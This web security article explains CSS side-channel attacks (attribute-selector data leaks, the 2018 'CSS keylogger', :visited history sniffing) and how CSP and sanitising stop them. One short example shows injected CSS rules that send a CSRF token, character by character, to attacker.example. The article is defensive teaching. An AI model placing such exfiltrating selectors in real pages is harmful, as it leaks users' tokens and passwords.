Understanding CSS Side-Channel Attacks: Mechanisms, Risks, and Prevention

Understanding CSS Side-Channel Attacks: Mechanisms, Risks, and Prevention
Understanding CSS Side-Channel Attacks: Mechanisms, Risks, and Prevention

Discover how attackers use CSS timing attacks to extract hidden information and explore effective strategies to protect your web app from such vulnerabilities.

You escaped every bit of user input in your HTML. You locked down your script sources. Then someone pastes a few lines of CSS into a comment box, and the browser quietly ships your CSRF token to an attacker’s server, one character at a time. No JavaScript. No alert box. Just styling doing exactly what styling is allowed to do.

That’s a CSS side-channel attack. The name sounds exotic, but the idea is simple: CSS can make the browser fetch a resource, and it can do that fetch conditionally based on what’s on the page. Turn that into a signal an attacker can read, and your stylesheet becomes a data-exfiltration tool. Below we’ll walk through how these attacks actually work, the two real-world classes that matter, and what genuinely stops them.

Table of Contents

Understanding Side-Channel Attacks

A side-channel attack gathers information indirectly. The attacker never reads the protected data through the front door. Instead they watch a side effect the system leaks by accident: how long something takes, what resources it loads, what color a link renders. Classic hardware versions measure power draw or timing to recover keys.

On the web, CSS turns out to be a surprisingly capable side channel. Not because of timing tricks in most cases, but because CSS selectors can match on page content, and a matched rule can force the browser to load a URL. If that URL points at a server you control, the load itself is the leak. Two things make the attack practical: the attacker needs to get CSS onto the page (through an injection flaw), and the browser has to expose the difference an attacker cares about.

How CSS Side-Channel Attacks Work

The engine behind most of these attacks is the humble attribute selector combined with a property that triggers a network request, usually background or background-image with a url(). If the attacker can inject CSS, they can wire up a rule that only fires when a specific value is present on the page, and read the result off their own server logs.

1. Selectors That Trigger Network Requests

People usually picture conditional CSS as something innocent, like a media query that hides an element on small screens:

CSS
/* Example of a media query that hides an element */
@media (max-width: 600px) {
  #sensitive-info {
    display: none;
  }
}

That rule is harmless on its own, and a remote attacker can’t resize your viewport to probe it anyway. The dangerous version is when attacker-controlled CSS matches on the value of an input and loads a URL as a result:

CSS
/* Injected CSS that leaks a value one character at a time */
input[name="csrf"][value^="a"] {
  background: url(https://attacker.example/leak?c=a);
}
input[name="csrf"][value^="b"] {
  background: url(https://attacker.example/leak?c=b);
}

The ^= operator means “starts with.” Generate a rule for every character, and whichever one matches makes the browser fetch that character’s URL. The attacker reads their logs, learns the first character, then repeats for the next position. Character by character, a secret walks out of the page. There’s a real limitation worth knowing: this reads attribute values, so it only works where the DOM attribute reflects the live value (hidden tokens, or framework-controlled inputs like React), and it struggles with repeated characters.

2. Reading Text With Pure CSS

Researchers have pushed this further into techniques that need no JavaScript at all. Using font ligatures to change an element’s width and a scrollbar as the readout, or the newer :has() selector, an attacker can extract text nodes and not just attributes. PortSwigger’s blind CSS exfiltration research shows how far pure-CSS extraction now reaches. The takeaway: treat injected CSS as roughly as dangerous as injected script, not as decoration.

Real-World Examples

These aren’t hypothetical. Two documented classes show the shape of the problem.

1. The CSS Keylogger

In February 2018, a proof of concept nicknamed the “CSS keylogger” made the rounds. It used exactly the attribute-selector trick above, targeting input[type="password"][value^="..."] to leak keystrokes from a password field to a remote server. As CSS-Tricks and Huli’s writeup both stress, it isn’t a timing attack and it doesn’t just infer a password’s length. It reads the value directly, and only where the input’s value attribute tracks what’s typed (which is common in React apps). It also still needs a CSS injection point to land in the first place.

2. History Sniffing With :visited

The other long-running CSS side channel is history sniffing. Browsers style visited links differently from unvisited ones, so a page can drop thousands of hidden links, then read back their styling to learn which sites you’ve been to. Browsers have fought this for years by lying to getComputedStyle() about visited links, as MDN documents. In 2025, Chrome went further and partitioned :visited state by link URL plus top-level site plus frame origin, which closes off the cross-site probing that kept the trick alive.

Mitigating CSS Side-Channel Attacks

There’s good news here: the exfiltration attacks share a single root cause, and cutting it off shuts most of them down. Here’s where to spend effort, in order.

1. Stop Untrusted CSS From Reaching the Page

Every value-stealing attack starts with CSS injection. If user-controlled content can land in a <style> block, a style attribute, or a stylesheet you serve, you have the exposure. Don’t reflect user input into any CSS context, and escape output at the point of output. This is the fix that matters most.

2. Lock Down Resource Loads With CSP

A Content Security Policy is the backstop for when injection slips through. These attacks only work because the browser will fetch an attacker’s URL. Restrict img-src, font-src, style-src, and connect-src to origins you control, and the leaking request never leaves the browser. CSP won’t stop the CSS from matching, but it stops the match from phoning home.

3. Keep Browsers Current

The privacy-specific channels get fixed in the engine, not your code. The :visited mitigations and Chrome’s 2025 partitioning only protect users who are on recent versions. You can’t patch this server-side, but you can avoid depending on unsupported browsers and encourage users to stay updated.

4. Audit Your Injection Points

Review anywhere user input can influence markup or styling: rich-text fields, profile bios, SVG uploads, HTML email, admin-supplied templates. Those are where injected selectors hide. Keep dependencies patched, since a flaw in a component that renders user content reopens the door.

5. Sanitize User-Supplied HTML and CSS

If your app has to render markup from users, run it through a maintained sanitizer rather than a hand-rolled regex. Strip style attributes and <style> tags unless you have a hard reason to keep them, and allowlist rather than blocklist. Obfuscating your own CSS does nothing here, so skip that idea entirely.

Best Practices for CSS Security

Pulling it together, a short checklist:

  1. Never let user-controlled input reach a CSS context unescaped.
  2. Ship a Content Security Policy that restricts where images, fonts, and stylesheets can load from.
  3. Sanitize any user-supplied HTML with a vetted library, and drop inline styles by default.
  4. Keep the browser, your framework, and any content-rendering dependencies up to date.
Conclusion

CSS side-channel attacks work because a stylesheet can match on your page’s contents and then quietly load a URL. That’s enough to leak CSRF tokens, keystrokes, and browsing history without touching a line of JavaScript. The attacks are clever, but they’re not unstoppable.

The defense is boring in the best way. Don’t let untrusted CSS onto your pages, and set a CSP so that even if some slips through, it can’t reach an attacker’s server. Do those two things well, keep your dependencies patched, and this whole class of attack mostly disappears from your threat model.

Leave a Comment

Your email address will not be published. Required fields are marked *


Scroll to Top